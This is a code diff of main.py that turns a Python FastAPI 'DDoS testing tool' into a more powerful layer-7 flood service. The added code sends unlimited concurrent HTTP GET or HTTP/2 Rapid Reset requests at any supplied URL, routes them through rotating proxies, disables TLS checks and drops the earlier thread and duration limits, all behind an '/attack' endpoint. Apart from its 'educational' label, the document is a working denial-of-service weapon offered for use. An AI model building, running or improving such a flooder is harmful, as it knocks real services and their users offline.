Update main.py

main.py

@@ -1,97 +1,204 @@
 # main.py
-import uvicorn
-from fastapi import FastAPI, HTTPException
-from pydantic import BaseModel
-import threading
-import requests
-import time
+import asyncio
 import logging
-from typing import Optional
+import signal
+import sys
+import threading
 from concurrent.futures import ThreadPoolExecutor
+from typing import List, Optional
 
-logging.basicConfig(level=logging.INFO)
-logger = logging.getLogger(__name__)
-
-app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
-
-# Global attack control
-attack_active = False
-attack_thread = None
-executor = ThreadPoolExecutor(max_workers=500)  # Adjustable max threads
+import httpx
+import uvicorn
+from fastapi import FastAPI, HTTPException
+from pydantic import AnyHttpUrl, BaseModel, Field, PositiveInt, validator
 
-class AttackConfig(BaseModel):
-    target: str          # http:// or https://
-    port: Optional[int] = None
-    duration: int        # seconds
-    threads: int = 100   # number of concurrent threads
+# --------------------------------------------------------------------------- #
+# Logging
+# --------------------------------------------------------------------------- #
+logging.basicConfig(
+    level=logging.INFO,
+    format="%(asctime)s %(levelname)s %(name)s | %(message)s",
+)
+log = logging.getLogger("l7")
 
-def flood_target(target_url: str):
-    headers = {
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
-        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-        "Connection": "keep-alive",
-        "Cache-Control": "no-cache",
-        "Pragma": "no-cache"
-    }
-    session = requests.Session()
-    while attack_active:
-        try:
-            session.get(target_url, headers=headers, timeout=5, verify=False)
-        except:
-            pass  # Ignore failures to keep flooding
+# --------------------------------------------------------------------------- #
+# FastAPI app
+# --------------------------------------------------------------------------- #
+app = FastAPI(title="Layer-7 Power Flood (Educational)")
 
-def start_attack(config: AttackConfig):
-    global attack_active, attack_thread
-    attack_active = True
+# --------------------------------------------------------------------------- #
+# Global attack state
+# --------------------------------------------------------------------------- #
+attack_task: Optional[asyncio.Task] = None
+stop_event = asyncio.Event()
+metrics = {"sent": 0, "err": 0, "start_ts": 0.0}
 
-    # Build target URL
-    protocol = "https" if config.target.startswith("https") else "http"
-    port = config.port or (443 if protocol == "https" else 80)
-    target_url = f"{config.target}:{port}"
 
-    logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
+# --------------------------------------------------------------------------- #
+# Pydantic models
+# --------------------------------------------------------------------------- #
+class Proxy(BaseModel):
+    url: str  # e.g. "socks5://1.2.3.4:1080" or "http://user:pass@proxy:port"
 
-    # Launch threads
-    futures = []
-    for _ in range(config.threads):
-        future = executor.submit(flood_target, target_url)
-        futures.append(future)
 
-    # Stop after duration
-    time.sleep(config.duration)
-    stop_attack()
+class AttackConfig(BaseModel):
+    target: AnyHttpUrl = Field(..., description="http:// or https:// URL (no path)")
+    port: Optional[PositiveInt] = None
+    duration: PositiveInt = Field(..., ge=1, le=600, description="seconds")
+    threads: int = Field(-1, description="-1 = auto (CPU×100 workers)")
+    use_http2: bool = True
+    rapid_reset: bool = True
+    proxies: Optional[List[Proxy]] = None
+
+    @validator("target")
+    def strip_path(cls, v):
+        # Force only scheme + host (no path/query)
+        return str(v).split("/", 3)[0] + "//" + str(v).split("/", 3)[2].split("/", 1)[0]
+
+# --------------------------------------------------------------------------- #
+# Helper: rotating proxy transport
+# --------------------------------------------------------------------------- #
+def build_client(proxies: Optional[List[Proxy]], use_http2: bool) -> httpx.AsyncClient:
+    transport = None
+    if proxies:
+        import random
+        proxy = random.choice(proxies).url
+        transport = httpx.AsyncHTTPTransport(proxy=proxy, retries=1)
+
+    limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
+    return httpx.AsyncClient(
+        http1=not use_http2,
+        http2=use_http2,
+        limits=limits,
+        timeout=httpx.Timeout(8.0, connect=5.0),
+        verify=False,
+        transport=transport,
+    )
+
+# --------------------------------------------------------------------------- #
+# Core flood worker (HTTP/2 Rapid Reset + HTTP/1.1 fallback)
+# --------------------------------------------------------------------------- #
+async def flood_worker(client: httpx.AsyncClient, url: str, rapid_reset: bool):
+    global metrics
+    headers = {
+        "User-Agent": httpx._client._DEFAULT_USER_AGENT,
+        "Accept": "*/*",
+        "Cache-Control": "no-cache",
+        "Pragma": "no-cache",
+        "Connection": "keep-alive",
+    }
 
-    logger.info("Attack completed.")
+    while not stop_event.is_set():
+        try:
+            if rapid_reset and client.http2:
+                # ---- HTTP/2 Rapid Reset ----
+                async with client.stream("GET", url, headers=headers) as response:
+                    # Immediately cancel the stream
+                    await response.aclose()
+                metrics["sent"] += 1
+            else:
+                # ---- Classic HTTP/1.1 GET ----
+                await client.get(url, headers=headers)
+                metrics["sent"] += 1
+        except Exception as e:
+            metrics["err"] += 1
+            # silently continue
+            await asyncio.sleep(0.001)
+
+
+# --------------------------------------------------------------------------- #
+# Attack orchestrator
+# --------------------------------------------------------------------------- #
+async def run_attack(config: AttackConfig):
+    global attack_task, metrics, stop_event
+
+    stop_event.clear()
+    metrics = {"sent": 0, "err": 0, "start_ts": asyncio.get_event_loop().time()}
+
+    # Resolve URL
+    scheme = "https" if config.target.startswith("https") else "http"
+    port = config.port or (443 if scheme == "https" else 80)
+    full_url = f"{config.target}:{port}"
+
+    log.info(
+        f"Starting flood → {full_url} | {config.duration}s | HTTP2={'ON' if config.use_http2 else 'OFF'} | RapidReset={'ON' if config.rapid_reset else 'OFF'}"
+    )
+
+    # Auto-threads
+    workers = config.threads
+    if workers == -1:
+        import os
+        workers = max(os.cpu_count() or 1, 1) * 100
+    log.info(f"Using {workers} concurrent workers")
+
+    # Build client (one per worker to avoid connection pooling limits)
+    client = build_client(config.proxies, config.use_http2)
+
+    # Launch workers
+    tasks = [
+        asyncio.create_task(flood_worker(client, full_url, config.rapid_reset))
+        for _ in range(workers)
+    ]
+
+    # Wait for duration
+    await asyncio.sleep(config.duration)
+    stop_event.set()
+    await asyncio.gather(*tasks, return_exceptions=True)
+    await client.aclose()
+
+    elapsed = asyncio.get_event_loop().time() - metrics["start_ts"]
+    rps = metrics["sent"] / elapsed if elapsed > 0 else 0
+    log.info(
+        f"Attack finished | Sent: {metrics['sent']:,} | Err: {metrics['err']:,} | RPS: {rps:,.0f}"
+    )
+
+
+# --------------------------------------------------------------------------- #
+# API endpoints
+# --------------------------------------------------------------------------- #
+@app.post("/attack")
+async def launch_attack(cfg: AttackConfig):
+    global attack_task
+    if attack_task and not attack_task.done():
+        raise HTTPException(status_code=409, detail="Attack already running")
+    attack_task = asyncio.create_task(run_attack(cfg))
+    return {"status": "started", "config": cfg.dict()}
 
-def stop_attack():
-    global attack_active
-    attack_active = False
-    logger.info("Attack stopped.")
 
-@app.post("/attack")
-def launch_attack(config: AttackConfig):
-    global attack_thread
-    if attack_thread and attack_thread.is_alive():
-        raise HTTPException(status_code=400, detail="Attack already in progress")
+@app.post("/stop")
+async def stop_attack():
+    global attack_task
+    if attack_task and not attack_task.done():
+        stop_event.set()
+        await attack_task
+    return {"status": "stopped"}
 
-    if config.threads > 1000:
-        raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
 
-    if config.duration > 300:
-        raise HTTPException(status_code=400, detail="Max duration 300 seconds")
+@app.get("/status")
+async def status():
+    return {
+        "running": attack_task and not attack_task.done(),
+        "metrics": metrics,
+    }
 
-    attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
-    attack_thread.start()
-    return {"status": "attack_started", "config": config}
 
-@app.post("/stop")
-def stop():
-    stop_attack()
-    return {"status": "attack_stopped"}
+# --------------------------------------------------------------------------- #
+# Graceful shutdown
+# --------------------------------------------------------------------------- #
+def signal_handler():
+    log.info("Received shutdown signal")
+    stop_event.set()
 
-@app.get("/status")
-def status():
-    return {"attack_active": attack_active}
 
 if __name__ == "__main__":
-    uvicorn.run(app, host="0.0.0.0", port=8000)
+    loop = asyncio.get_event_loop()
+    for sig in (signal.SIGINT, signal.SIGTERM):
+        loop.add_signal_handler(sig, signal_handler)
+
+    uvicorn.run(
+        "main:app",
+        host="0.0.0.0",
+        port=8000,
+        log_level="info",
+        workers=1,  # single worker; all concurrency inside async tasks
+    )